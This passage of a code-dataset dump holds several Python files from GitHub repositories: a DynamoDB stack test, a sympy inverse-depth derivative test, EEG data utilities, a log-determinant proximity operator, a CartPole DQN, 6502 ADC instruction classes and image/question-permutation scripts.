string_like_regexp('multi-lookup')\n\t\t\t\t}\n\t\t\t)\n\t\t)\n\t\ttemplate.has_resource_properties(\n\t\t\t'AWS::DynamoDB::Table',\n\t\t\tMatch.object_like(\n\t\t\t\t{\n\t\t\t\t\t\"TableName\": Match. string_like_regexp('hash-values')\n\t\t\t\t}\n\t\t\t)\n\t\t)\n\t\ttemplate.has_resource_properties(\n\t\t\t'AWS::DynamoDB::Table',\n\t\t\tMatch.object_like(\n\t\t\t\t{\n\t\t\t\t\t\"TableName\": Match. string_like_regexp('dq-results')\n\t\t\t\t}\n\t\t\t)\n\t\t)","repo_name":"aws-samples/aws-insurancelake-etl","sub_path":"test/test_dynamodb_stack.py","file_name":"test_dynamodb_stack.py","file_ext":"py","file_size_in_byte":3571,"program_lang":"python","lang":"en","doc_type":"code","stars":6,"dataset":"github-code","pt":"37"} +{"seq_id":"13732897421","text":"\"\"\"TODO(docstring)\"\"\"\n\nimport unittest\n\nimport sympy\n\nfrom sophus.matrix import proj\nfrom sophus.matrix import unproj\nfrom sophus.matrix import vector2\nfrom sophus.matrix import vector3\nfrom sophus.matrix import vector6\nfrom sophus.se3 import Isometry3\n\n\ndef rotation_matrix():\n \"\"\"TODO(docstring)\"\"\"\n rx0, ry0, rz0 = sympy.symbols(\"rx[0], ry[0], rz[0]\", real=True)\n rx1, ry1, rz1 = sympy.symbols(\"rx[1], ry[1], ry[1]\", real=True)\n rx2, ry2, rz2 = sympy.symbols(\"rx[2], ry[2], rz[2]\", real=True)\n return sympy.Matrix([[rx0, ry0, rz0], [rx1, ry1, rz1], [rx2, ry2, rz2]])\n\n\ndef translation():\n \"\"\"TODO(docstring)\"\"\"\n t0, t1, t2 = sympy.symbols(\"t[0], t[1], t[2]\", real=True)\n return vector3(t0, t1, t2)\n\n\nclass InverseDepth:\n \"\"\"Affine camera transform\"\"\"\n\n def __init__(self, ab_and_psi):\n assert isinstance(ab_and_psi, sympy.Matrix)\n assert ab_and_psi.shape == (3, 1), ab_and_psi.shape\n self.ab_and_psi = ab_and_psi\n\n def scaled_transform(self, mat_r, vec_t):\n \"\"\"TODO(docstring)\"\"\"\n return (\n mat_r * vector3(self.ab_and_psi[0], self.ab_and_psi[1], 1)\n + self.ab_and_psi[2] * vec_t\n )\n\n def dx_scaled_transform_x(self, mat_r, vec_t):\n \"\"\"TODO(docstring)\"\"\"\n\n return sympy.Matrix(\n 3,\n 3,\n lambda r, c: sympy.diff(\n self.scaled_transform(mat_r, vec_t)[r], self.ab_and_psi[c]\n ).simplify(),\n )\n\n def calc_dx_project_transform_x(self, mat_r, vec_t):\n \"\"\"TODO(docstring)\"\"\"\n\n return sympy.Matrix(\n 2,\n 3,\n lambda r, c: sympy.diff(\n proj(self.scaled_transform(mat_r, vec_t))[r], self.ab_and_psi[c]\n ).simplify(),\n )\n\n def dx_project_transform_x(self, mat_r, vec_t):\n \"\"\"TODO(docstring)\"\"\"\n\n mat_rrt = sympy.Matrix([mat_r.col(0), mat_r.col(1), vec_t])\n\n return sympy.Matrix(\n 2,\n 3,\n lambda r, c: sympy.diff(\n proj(self.scaled_transform(mat_rrt, vec_t))[r], self.ab_and_psi[c]\n ).simplify(),\n )\n\n def dx_project_exp_x_point_at_0(self):\n \"\"\"TODO(docstring)\"\"\"\n\n upsilon0, upsilon1, upsilon2, omega0, omega1, omega2 = sympy.symbols(\n \"upsilon[0], upsilon[1], upsilon[2], omega[0], omega[1], omega[2]\",\n real=True,\n )\n x = vector6(upsilon0, upsilon1, upsilon2, omega0, omega1, omega2)\n se3 = Isometry3.exp(x)\n mat_r = se3.so3.matrix()\n vec_t = se3.t\n\n return sympy.Matrix(\n 2,\n 6,\n lambda r, c: sympy.diff(\n proj(\n mat_r * unproj(vector2(self.ab_and_psi[0], self.ab_and_psi[1]))\n + self.ab_and_psi[2] * vec_t\n ),\n x[c],\n )\n .subs(x[0], 0)\n .subs(x[1], 0)\n .subs(x[2], 0)\n .subs(x[3], 0)\n .subs(x[4], 0)\n .limit(x[5], 0),\n )\n\n def dx_project_exp_x_transform_at_0(self, psi_times_point):\n \"\"\"TODO(docstring)\"\"\"\n\n upsilon0, upsilon1, upsilon2, omega0, omega1, omega2 = sympy.symbols(\n \"upsilon[0], upsilon[1], upsilon[2], omega[0], omega[1], omega[2]\",\n real=True,\n )\n x = vector6(upsilon0, upsilon1, upsilon2, omega0, omega1, omega2)\n se3 = Isometry3.exp(x)\n mat_r = se3.so3.matrix()\n vec_t = se3.t\n\n return sympy.Matrix(\n 2,\n 6,\n lambda r, c: sympy.diff(\n proj(mat_r * psi_times_point + self.ab_and_psi[2] * vec_t),\n x[c],\n )\n .subs(x[0], 0)\n .subs(x[1], 0)\n .subs(x[2], 0)\n .subs(x[3], 0)\n .subs(x[4], 0)\n .limit(x[5], 0),\n )\n\n def __repr__(self):\n return \"[a, b, psi]: \" + repr(self.ab_and_psi)\n\n\nclass TestInverseDepth(unittest.TestCase):\n \"\"\"TODO(docstring)\"\"\"\n\n def setUp(self):\n \"\"\"TODO(docstring)\"\"\"\n\n self.mat_r = rotation_matrix()\n self.vec_t = translation()\n a, b, psi = sympy.symbols(\"a, b, psi\", real=True)\n self.inverse_depth = InverseDepth(vector3(a, b, psi))\n\n x, y, z = sympy.symbols(\"x,y,z\", real=True)\n self.xyz = vector3(x, y, z)\n\n def test_derivatives(self):\n \"\"\"TODO(docstring)\"\"\"\n\n print(\"id_point: \", self.inverse_depth)\n print(\"proj: \", self.inverse_depth.scaled_transform(self.mat_r, self.vec_t))\n print(\n \"calc_projectTransformRx_plus_t_x:\",\n self.inverse_depth.dx_scaled_transform_x(self.mat_r, self.vec_t),\n )\n\n print(\n \"dx_project_exp_x_point_at_0:\",\n self.inverse_depth.dx_project_exp_x_point_at_0(),\n )\n\n print(\n \"dx_project_exp_x_transform_at_0:\",\n self.inverse_depth.dx_project_exp_x_transform_at_0(self.xyz),\n )\n\n print(\n \"dx_project_transform_x:\",\n self.inverse_depth.dx_project_transform_x(self.mat_r, self.vec_t),\n )\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"farm-ng/farm-ng-core","sub_path":"cpp/sophus/sympy/sophus/inverse_depth.py","file_name":"inverse_depth.py","file_ext":"py","file_size_in_byte":5189,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"37"} +{"seq_id":"40311329375","text":"import pickle\nimport os \nimport numpy as np\nimport math\nimport tensorflow as tf\n\nclass MovingAverage():\n def __init__(self):\n self.__count = 0\n self.__mean = 0\n\n def update(self, newVal):\n self.__count += 1\n diferential = (newVal - self.__mean) / self.__count\n self.__mean = diferential + self.__mean\n \n def get_mean(self):\n return self.__mean\n\n\n\nclass DatasetCreator():\n def __init__(self, batch_size, rows, dataset):\n self.batch_size = batch_size\n self.rows = rows\n self.dataset = dataset\n\n def _load_eeg(self, path):\n pass\n\n\"\"\"\nMethod 0 consists in adding up all the windows, thus returning a 2D array\nMethod 1 padds according to the maximum row size (adds 0 to all the others).\nIt's bad because for instance the maxRow can be very big, making the final array too big to fit into memory:\n maxRow = 4894\n cols = 660\n instances = 2031\n 4894*660 * 2031 * 32 / 8 / 1024 / 1024 = 25025 GB\nMethod 2 resizes --> cuts off the number of rows to match to the minimum. The minimum row can be as little as one, which makes \nthis method completely unusable\nMethod 3 --> does cummulative moving average of size\n\"\"\"\ndef get_fold_data(data_dir, fold_data, dataType, labelEncoder, method = 0):\n X = list()#np.empty(len(fold_data))\n y = list()#np.empty(len(fold_data))\n maxRow = -1\n minRow = math.inf\n average = MovingAverage()\n for i, fname in enumerate(fold_data.get(dataType)):\n # each file contains a named tupple\n # 'patient_id','seizure_type', 'data'\n seizure = pickle.load(open(os.path.join(data_dir, fname), \"rb\"))\n \n if(method == 0):\n #Sum rows method\n X.append(np.sum(seizure.data, axis=0))\n elif(method == 1):\n # Pad with rows of zeros method\n if(seizure.data.shape[0] > maxRow):\n maxRow = seizure.data.shape[0]\n X.append(seizure.data)\n elif(method == 2):\n if(seizure.data.shape[0] < minRow):\n minRow = seizure.data.shape[0]\n X.append(seizure.data)\n elif(method == 3):\n average.update(seizure.data.shape[0])\n X.append(seizure.data)\n \n y.append(seizure.seizure_type)\n if(method == 1):\n for i in range(len(X)):\n X[i] = np.pad(X[i], ((0, maxRow -len(X[i])), (0,0)))\n elif(method == 2):\n minRow=32\n for i in range(len(X)):\n X[i] = np.resize(X[i], (minRow, len(X[i][0])))\n elif(method == 3):\n \n avg = int(average.get_mean())\n print(\"Avg\", avg)\n for i in range(len(X)):\n if(avg > len(X[i])):\n X[i] = np.pad(X[i], ((0, avg -len(X[i])), (0,0)))\n else:\n X[i] = np.resize(X[i], (avg, len(X[i][0])))\n \n y = labelEncoder.transform(y)\n return X, y\n\n\ndef keras_model_memory_usage_in_bytes(model, *, batch_size: int):\n \"\"\"\n Return the estimated memory usage of a given Keras model in bytes.\n This includes the model weights and layers, but excludes the dataset.\n\n The model shapes are multipled by the batch size, but the weights are not.\n\n Args:\n model: A Keras model.\n batch_size: The batch size you intend to run the model with. If you\n have already specified the batch size in the model itself, then\n pass `1` as the argument here.\n Returns:\n An estimate of the Keras model's memory usage in bytes.\n\n \"\"\"\n default_dtype = tf.keras.backend.floatx()\n shapes_mem_count = 0\n internal_model_mem_count = 0\n for layer in model.layers:\n if isinstance(layer, tf.keras.Model):\n internal_model_mem_count += keras_model_memory_usage_in_bytes(\n layer, batch_size=batch_size\n )\n single_layer_mem = tf.as_dtype(layer.dtype or default_dtype).size\n out_shape = layer.output_shape\n if isinstance(out_shape, list):\n out_shape = out_shape[0]\n for s in out_shape:\n if s is None:\n continue\n single_layer_mem *= s\n shapes_mem_count += single_layer_mem\n\n trainable_count = sum(\n [tf.keras.backend.count_params(p) for p in model.trainable_weights]\n )\n non_trainable_count = sum(\n [tf.keras.backend.count_params(p) for p in model.non_trainable_weights]\n )\n\n total_memory = (\n batch_size * shapes_mem_count\n + internal_model_mem_count\n + trainable_count\n + non_trainable_count\n )\n return total_memory","repo_name":"veikkahonkanen/ML-Seizurenet","sub_path":"util.py","file_name":"util.py","file_ext":"py","file_size_in_byte":4590,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"37"} +{"seq_id":"25206551739","text":"\"\"\"\r\nVersion : 1.0 ( 06-21-2022).\r\n\r\nDEPENDENCIES:\r\n - 'prox_svd.py' located in the folder 'utils'\r\n - 'prox_svd.py' located in the folder 'utils'\r\n\r\nAuthor : Mbaye Diongue\r\n\r\nCopyright (C) 2022\r\n\r\nThis file is part of the codes provided at http://proximity-operator.net\r\n\r\nBy downloading and/or using any of these files, you implicitly agree to\r\nall the terms of the license CeCill-B (available online).\r\n\"\"\"\r\n\r\nfrom proxop.utils.prox_svd import prox_svd\r\nfrom proxop.utils.fun_svd import fun_svd\r\nimport numpy as np\r\n\r\n\r\nclass LogDet:\r\n r\"\"\"Compute the proximity operator and the evaluation of gamma*f.\r\n\r\n Where f is the logarithm of determinant function:\r\n\r\n /-log( det(X) ) = -log( prod(s)) if X is a symmetric positive\r\n f(x)=| definite matrix\r\n \\ + inf otherwise\r\n\r\n where\r\n * det(X) is the determinant of the matrix X\r\n\r\n * X = U*diag(s)*V.T \\in R^{M*N} the Singular Value decomposition of X\r\n\r\n * 'gamma*tau' is the scale factor\r\n\r\n INPUTS\r\n ========\r\n x - (M,N) -array_like ( representing an M*N matrix)\r\n gamma - positive scalar [default: gamma=1]\r\n \"\"\"\r\n\r\n def __init__(self, gamma: float = 1):\r\n if np.any(gamma <= 0) or np.size(gamma) > 1:\r\n raise Exception(\"'gamma' must be a strictly positive scalar\")\r\n self.gamma = gamma\r\n\r\n def prox(self, x: np.ndarray) -> np.ndarray:\r\n self._check(x)\r\n is_hermitian = False\r\n if np.allclose(x, np.transpose(x)):\r\n is_hermitian = True\r\n\r\n def prox_phi(s, gam):\r\n return 0.5 * (s + np.sqrt(s**2 + 4 * gam))\r\n\r\n return prox_svd(x, self.gamma, prox_phi, hermitian=is_hermitian)\r\n\r\n def __call__(self, x: np.ndarray) -> float:\r\n self._check(x)\r\n TOL = 1e-20\r\n # Check if the matrix is symmetric\r\n if not np.allclose(x, np.transpose(x)):\r\n return np.inf\r\n\r\n def fun_phi(s):\r\n if np.any(s <= TOL):\r\n return np.inf\r\n return -np.log(np.prod(s))\r\n\r\n return self.gamma * fun_svd(x, 1, fun_phi)\r\n\r\n def _check(self, x):\r\n if len(np.shape(x)) != 2:\r\n raise ValueError(\r\n \"'x' must be an (M,N) -array_like ( representing a M*N matrix )\"\r\n )\r\n","repo_name":"mbayediongue/proxop","sub_path":"src/proxop/multi/LogDet.py","file_name":"LogDet.py","file_ext":"py","file_size_in_byte":2399,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"37"} +{"seq_id":"21117832364","text":"import numpy as np\nimport networkx as nx\nimport tensorflow as tf\nimport random\nimport gym\n\n\nclass DQN():\n\n def __init__(self, env, state_dim = 4, act_dim = 2):\n # Current Network:\n self._state_dim = state_dim\n self._act_dim = act_dim\n self._env = env\n\n self._state = tf.placeholder(dtype = tf.float32, shape = [None, state_dim])\n self._action = tf.placeholder(dtype = tf.float32, shape = [None, act_dim])\n\n self._W_s_1 = tf.get_variable(dtype = tf.float32, shape = [state_dim, 10], name = \"W_s_1\")\n self._W_a_1 = tf.get_variable(dtype = tf.float32, shape = [act_dim, 10], name = \"W_a_1\")\n self._b_1 = tf.get_variable(dtype = tf.float32, shape = [10], name = \"b_1\")\n\n self._h_1 = tf.nn.relu(\n tf.matmul(self._state, self._W_s_1) + tf.matmul(self._action, self._W_a_1) + self._b_1)\n self._W_2 = tf.get_variable(dtype=tf.float32, shape=[10, 1], name=\"W_2\")\n self._b_2 = tf.get_variable(dtype=tf.float32, shape=[1], name=\"b_2\")\n\n self._Q_hat = tf.reshape(tf.matmul(self._h_1, self._W_2) + self._b_2, shape = [-1, 1])\n\n # Target Network:\n\n self._W_s_1_target = tf.get_variable(dtype = tf.float32, shape = [state_dim, 10], name = \"W_s_1_target\")\n self._W_a_1_target = tf.get_variable(dtype = tf.float32, shape = [act_dim, 10], name = \"W_a_1_target\")\n self._b_1_target = tf.get_variable(dtype = tf.float32, shape = [10], name = \"b_1_target\")\n\n self._h_1_target = tf.nn.relu(\n tf.matmul(self._state, self._W_s_1_target) + tf.matmul(self._action,\n self._W_a_1_target) + self._b_1_target)\n self._W_2_target = tf.get_variable(dtype=tf.float32, shape=[10, 1], name=\"W_2_target\")\n self._b_2_target = tf.get_variable(dtype=tf.float32, shape=[1], name=\"b_2_target\")\n\n self._Q_hat_target = tf.reshape(tf.matmul(self._h_1_target, self._W_2_target) + self._b_2_target, shape = [-1, 1])\n\n self._weights = [self._W_s_1, self._W_a_1, self._b_1, self._W_2, self._b_2]\n self._weights_target = [self._W_s_1_target, self._W_a_1_target, self._b_1_target, self._W_2_target,\n self._b_2_target]\n\n def train(\n self, n_epochs = 10, buffer_size = 1, discount = 1, tau = 0.999, lr = 0.1, seed = 0,\n save_every = 1, n_test_run = 10, weight_save_path = None, weight_load_path = None):\n self._saver = tf.train.Saver()\n self._replay_buffer = []\n self._y = tf.placeholder(dtype = tf.float32, shape = [None, 1])\n self._sess = tf.Session()\n self._sess.run(tf.global_variables_initializer())\n\n # opt = tf.train.AdamOptimizer()\n # grad = opt.compute_gradients(self._Q_hat_target, var_list = [self._W_s, self._W_a, self._b])\n grad_W_s_1, grad_W_a_1, grad_b_1, grad_W_2, grad_b_2 = tf.gradients(ys = self._Q_hat, xs = self._weights)\n self._env.reset()\n self._env.seed(seed)\n\n survival_list = np.array([[0]])\n\n if weight_load_path is not None:\n self._saver.restore(self._sess, save_path = weight_load_path)\n print(\"Weights loaded successfully.\")\n\n\n for epoch in range(n_epochs):\n print(\"Epoch: \" + str(epoch))\n # Sample action and state\n state = self._env.reset()\n action_ind = self._env.action_space.sample()\n action = np.zeros(shape = self._act_dim)\n action[action_ind] = 1\n self.state = state\n new_state, reward, done, info = self._env.step(action_ind)\n\n self._replay_buffer.append((state, action, new_state, reward))\n # Pop some old sample:\n if len(self._replay_buffer) > buffer_size:\n ind = random.randrange(0, len(self._replay_buffer))\n self._replay_buffer.pop(ind)\n\n # Uniformly sample the replay buffer\n ind = random.randrange(0, len(self._replay_buffer))\n state, action, new_state, reward = self._replay_buffer[ind]\n\n # Compute the target:\n y = np.array([reward + discount * self.find_best_Q_target_v2(new_state)])\n y = y.reshape(1, 1)\n\n # Minimize the Bellman error:\n TD_error = self._Q_hat - self._y\n assign_W_s_1 = self._W_s_1.assign(self._W_s_1 - lr * grad_W_s_1 * TD_error)\n assign_W_a_1 = self._W_a_1.assign(self._W_a_1 - lr * grad_W_a_1 * TD_error)\n assign_b_1 = self._b_1.assign(self._b_1 - tf.reshape(lr * grad_b_1 * TD_error, [10]))\n assign_W_2 = self._W_2.assign(self._W_2 - lr * grad_W_2 * TD_error)\n assign_b_2 = self._b_2.assign(self._b_2 - tf.reshape(lr * grad_b_2 * TD_error, [1]))\n\n assigns = [assign_W_s_1, assign_W_a_1, assign_b_1, assign_W_2, assign_b_2]\n\n self._sess.run(assigns, feed_dict={self._state: [state],\n self._action: [action],\n self._y: y})\n\n # Update the target network using Polyak averaging:\n assign_W_s_1_target = self._W_s_1_target.assign(tau * self._W_s_1_target + (1 - tau) * self._W_s_1)\n assign_W_a_1_target = self._W_a_1_target.assign(tau * self._W_a_1_target + (1 - tau) * self._W_a_1)\n assign_b_1_target = self._b_1_target.assign(tau * self._b_1_target + (1 - tau) * self._b_1)\n assign_W_2_target = self._W_2_target.assign(tau * self._W_2_target + (1 - tau) * self._W_2)\n assign_b_2_target = self._b_2_target.assign(tau * self._b_2_target + (1 - tau) * self._b_2)\n assigns_target = [assign_W_s_1_target, assign_W_a_1_target, assign_b_1_target, assign_W_2_target,\n assign_b_2_target]\n\n self._sess.run(assigns_target)\n\n test_list = np.array([self.test_run() for _ in range(n_test_run)])\n average_survival = np.mean(test_list)\n print(\"Test run: Survive for \" + str(average_survival))\n survival_list = np.append(survival_list, np.array([average_survival]))\n\n if weight_save_path is not None and epoch % save_every == 0 and average_survival == np.max(survival_list):\n print(\"Average survival increases.\")\n save_path = self._saver.save(self._sess, save_path = weight_save_path)\n print(\"Model's weights saved at %s\" % save_path)\n if (average_survival >= 200):\n print(\"Cartpole solved. Finish Training\")\n return\n\n print(\"Finish Training.\")\n\n\n def find_best_Q_target(self, state):\n q_list = []\n for ind in range(self._act_dim):\n action = np.zeros(self._act_dim)\n action[ind] = 1\n q = self._sess.run(self._Q_hat_target, feed_dict = {self._state: [state], self._action: [action]})\n q_list.append(q)\n\n return max(q_list)\n\n def find_best_Q_target_v2(self, state):\n q_list = []\n for ind in range(self._act_dim):\n action = np.zeros(self._act_dim)\n action[ind] = 1\n q = self._sess.run(self._Q_hat, feed_dict = {self._state: [state], self._action: [action]})\n q_list.append(q)\n\n act_ind = np.argmax(q_list)\n action = np.zeros(self._act_dim)\n action[act_ind] = 1\n return self._sess.run(self._Q_hat_target, feed_dict = {self._state: [state], self._action: [action]})\n\n\n\n def act(self, state):\n q_list = []\n for ind in range(self._act_dim):\n action = np.zeros(self._act_dim)\n action[ind] = 1\n q = self._sess.run(self._Q_hat, feed_dict = {self._state: [state], self._action: [action]})\n q_list.append(q)\n\n return np.argmax(q_list)\n\n def test_run(self, timesteps = 1000):\n s = self._env.reset()\n for t in range(timesteps):\n action = self.act(s)\n s, reward, done, info = self._env.step(action)\n if done:\n return t\n\n\n\n\n\n","repo_name":"nhatsmrt/CartPole","sub_path":"Source/deep_q_network.py","file_name":"deep_q_network.py","file_ext":"py","file_size_in_byte":8105,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"33992855786","text":"ADC_IMMEDIATE_OPCODE = 0x69\nADC_ZEROPAGE_OPCODE = 0x65\nADC_ZEROPAGEX_OPCODE = 0x75\nADC_ABSOLUTE_OPCODE = 0x6d\nADC_ABSOLUTEX_OPCODE = 0x7d\nADC_ABSOLUTEY_OPCODE = 0x79\nADC_INDIRECTX_OPCODE = 0x61\nADC_INDIRECTY_OPCODE = 0x71\n\n\nclass ADCImmediate(object):\n def __init__(self):\n super(ADCImmediate, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.immediate()\n print(\"ADC memory byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status Carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCZeroPage(object):\n \"\"\"ADC Zero Page instruction\"\"\"\n def __init__(self):\n super(ADCZeroPage, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.zero_page()\n print(\"ADC zero page byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status Carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCZeroPageX(object):\n \"\"\"ADC Zero Page X instruction\"\"\"\n def __init__(self):\n super(ADCZeroPageX, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.zero_page_x()\n print(\"ADC zero page X byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCAbsolute(object):\n \"\"\"ADC absolute instruction\"\"\"\n def __init__(self):\n super(ADCAbsolute, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.absolute()\n print(\"ADC absolute byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCAbsoluteX(object):\n \"\"\"ADC absolute X instruction\"\"\"\n def __init__(self):\n super(ADCAbsoluteX, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.absolute_x()\n print(\"ADC absolute x byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCAbsoluteY(object):\n \"\"\"ADC absolute Y instruction\"\"\"\n def __init__(self):\n super(ADCAbsoluteY, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.absolute_y()\n print(\"ADC absolute Y byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCIndirectX(object):\n \"\"\"ADC indirect X instruction\"\"\"\n def __init__(self):\n super(ADCIndirectX, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.indirect_x()\n print(\"ADC indirect X byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)\n\n\nclass ADCIndirectY(object):\n \"\"\"ADC Indirect Y instruction\"\"\"\n def __init__(self):\n super(ADCIndirectY, self).__init__()\n\n def run(self, cpu):\n byte_r = cpu.indirect_y()\n print(\"ADC indirect Y byte read: %s\" % hex(byte_r))\n print(\"ADC register A read: %s\" % hex(cpu.a))\n print(\"ADC processor status Carry read: %s\" % hex(cpu.processor_status['carry']))\n cpu.adc(byte_r)","repo_name":"thales-angelino/py6502emulator","sub_path":"emulator_6502/instructions/adc.py","file_name":"adc.py","file_ext":"py","file_size_in_byte":3553,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"37"} +{"seq_id":"37956570631","text":"from pathlib import Path\nfrom tensorflow.keras.preprocessing.image import load_img\nimport shutil\nimport os\nfrom PIL import Image\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\n\nOPT_PERMS = [\n ['R', 'wA', 'wB'],\n ['R', 'wB', 'wA'],\n ['wA', 'R', 'wB'],\n ['R', 'wA', 'wB'],\n ['wA', 'R', 'wB'],\n ['R', 'wB', 'wA'],\n ['R', 'wA', 'wB'],\n ['wB', 'wA', 'R'],\n ['R', 'wA', 'wB'],\n ['wA', 'R', 'wB'],\n ['R', 'wA', 'wB'],\n ['wB', 'wA', 'R'],\n ['wA', 'R', 'wB'],\n ['R', 'wA', 'wB'],\n ['wA', 'R', 'wB'],\n ['R', 'wA', 'wB'],\n ['wA', 'wB', 'R'],\n ['wB', 'wA', 'R'],\n ['R', 'wA', 'wB'],\n ['wB', 'wA', 'R'],\n ['R', 'wB', 'wA'],\n ['R', 'wA', 'wB'],\n ['wA', 'R', 'wB'],\n ['R', 'wA', 'wB'],\n ['wB', 'R', 'wA'],\n ['wB', 'wA', 'R'],\n ['R', 'wA', 'wB'],\n ['wA', 'R', 'wB']\n]\n\ndef png_to_jpg(path, archive_old=True, archive_dir='archive'):\n path = Path(path)\n img = load_img(path)\n jpg_name = path.parts[-1][:path.parts[-1].index('.png')] + '.jpg'\n img.save(f'{str(path.parent)}/{jpg_name}')\n if archive_old:\n archive_path = Path(f'{str(path.parent)}/{archive_dir}')\n if not os.path.exists(archive_path):\n os.makedirs(archive_path)\n shutil.move(path, f'{str(archive_path)}/{path.parts[-1]}')\n\ndef thumbnail_image(path, max_size=(300, 300), archive_old=True, archive_dir='archive'):\n path = Path(path)\n if archive_old:\n archive_path = Path(f'{str(path.parent)}/{archive_dir}')\n if not os.path.exists(archive_path):\n os.makedirs(archive_path)\n shutil.copy(path, f'{str(archive_path)}/{path.parts[-1]}')\n img = load_img(path)\n img.thumbnail(max_size, Image.ANTIALIAS)\n img.save(path)\n\ndef make_question_folders_from_root():\n path = Path('./questions')\n original_permutation = pd.read_csv('./questions/permutations/original_permutation.csv',\n header=None, index_col=None).values\n\n filesafe_datetime = datetime.now().strftime('%Y_%M_%d_%H_%M_%S')\n live_dir = f'{str(path)}/live'\n q_type_counts = {'mehe': 0, 'mehh': 0, 'mhhe': 0, 'mhhh': 0}\n perm_header = ('q_num', 'q_id', 'q_type', 'sample_id', 'created')\n perm_df = pd.DataFrame(columns=perm_header)\n for q_num in range(1, 29):\n q_type = original_permutation[q_num-1][2]\n sample_id = original_permutation[q_num-1][1]\n q_type_id = q_type_counts[q_type]\n q_type_counts[q_type] += 1\n q_id = f'{q_type}_{q_type_id}'\n q_dir = f'{live_dir}/{q_id}'\n if not os.path.exists(q_dir):\n os.makedirs(q_dir)\n perm_df.loc[q_num-1] = (q_num, q_id, q_type, sample_id, filesafe_datetime)\n for q_file in path.glob(f'Q{q_num}_*'):\n q_filename = q_file.parts[-1]\n q_filename = q_filename[q_filename.index('_')+1:]\n file_id = f'{q_id}_{q_filename}'\n shutil.copy(q_file, f'{q_dir}/{file_id}')\n open(f'{q_dir}/sampleID-{sample_id}', 'a').close()\n\n perm_dir = f'{str(path)}/permutations/perm_0'\n if not os.path.exists(perm_dir):\n os.makedirs(perm_dir)\n perm_df.to_csv(f'{perm_dir}/permutation.csv', index_label='Index')\n print('test')\n # perm_qs_dir = f'{perm_dir}/questions'\n\ndef create_permutation():\n filesafe_datetime = datetime.now().strftime('%Y_%M_%d_%H_%M_%S')\n block_a = ['mehh'] * 6 + ['mhhh'] * 2 + ['mehe'] * 3 + ['mhhe'] * 1\n block_b = ['mehh'] * 6 + ['mhhh'] * 2 + ['mehe'] * 3 + ['mhhe'] * 1\n adv_block = ['mhhe', 'mehh', 'mehh', 'mhhe']\n\n perm_a = np.random.permutation(len(block_a))\n perm_b = np.random.permutation(len(block_b))\n order_a = [block_a[i] for i in perm_a]\n order_b = [block_b[i] for i in perm_b]\n new_order = order_a + adv_block + order_b\n\n print('test')\n\n perm_ids = [p.parts[-1][p.parts[-1].index('_')+1:] for p in list(Path('./questions/permutations').glob('perm_*'))]\n new_perm_id = int(sorted(perm_ids, key=lambda x: int(x))[-1]) + 1\n\n perm_dir = f'./questions/permutations/perm_{new_perm_id}'\n if not os.path.exists(perm_dir):\n os.makedirs(f'{perm_dir}/questions')\n\n mehes = [p for p in list(Path('./questions/live').glob('*')) if 'mehe' in p.parts[-1]]\n mehhs = [p for p in list(Path('./questions/live').glob('*')) if 'mehh' in p.parts[-1]]\n mhhes = [p for p in list(Path('./questions/live').glob('*')) if 'mhhe' in p.parts[-1]]\n mhhhs = [p for p in list(Path('./questions/live').glob('*')) if 'mhhh' in p.parts[-1]]\n\n np.random.shuffle(mehes)\n np.random.shuffle(mehhs)\n np.random.shuffle(mhhes)\n np.random.shuffle(mhhhs)\n\n q_type_counts = {'mehe': 0, 'mehh': 0, 'mhhe': 0, 'mhhh': 0}\n perm_header = ('q_num', 'q_id', 'q_type', 'sample_id', 'created')\n perm_df = pd.DataFrame(columns=perm_header)\n\n q_num = 1\n for q_type in new_order:\n if q_type == 'mehe':\n q_source_dir = mehes[0]\n mehes.remove(q_source_dir)\n elif q_type == 'mehh':\n q_source_dir = mehhs[0]\n mehhs.remove(q_source_dir)\n elif q_type == 'mhhe':\n q_source_dir = mhhes[0]\n mhhes.remove(q_source_dir)\n else:\n assert q_type == 'mhhh'\n q_source_dir = mhhhs[0]\n mhhhs.remove(q_source_dir)\n\n q_id = q_source_dir.parts[-1]\n sidfile = list(q_source_dir.glob('sampleID*'))[0].parts[-1]\n sample_id = sidfile[sidfile.index('-')+1:]\n perm_df.loc[q_num-1] = (q_num, q_id, q_type, sample_id, filesafe_datetime)\n\n q_files = list(q_source_dir.glob(f'{q_id}*'))\n for q_file in q_files:\n fname = q_file.parts[-1]\n new_fname = f'Q{q_num}{fname[fname.index(q_id)+len(q_id):]}'\n new_dest = 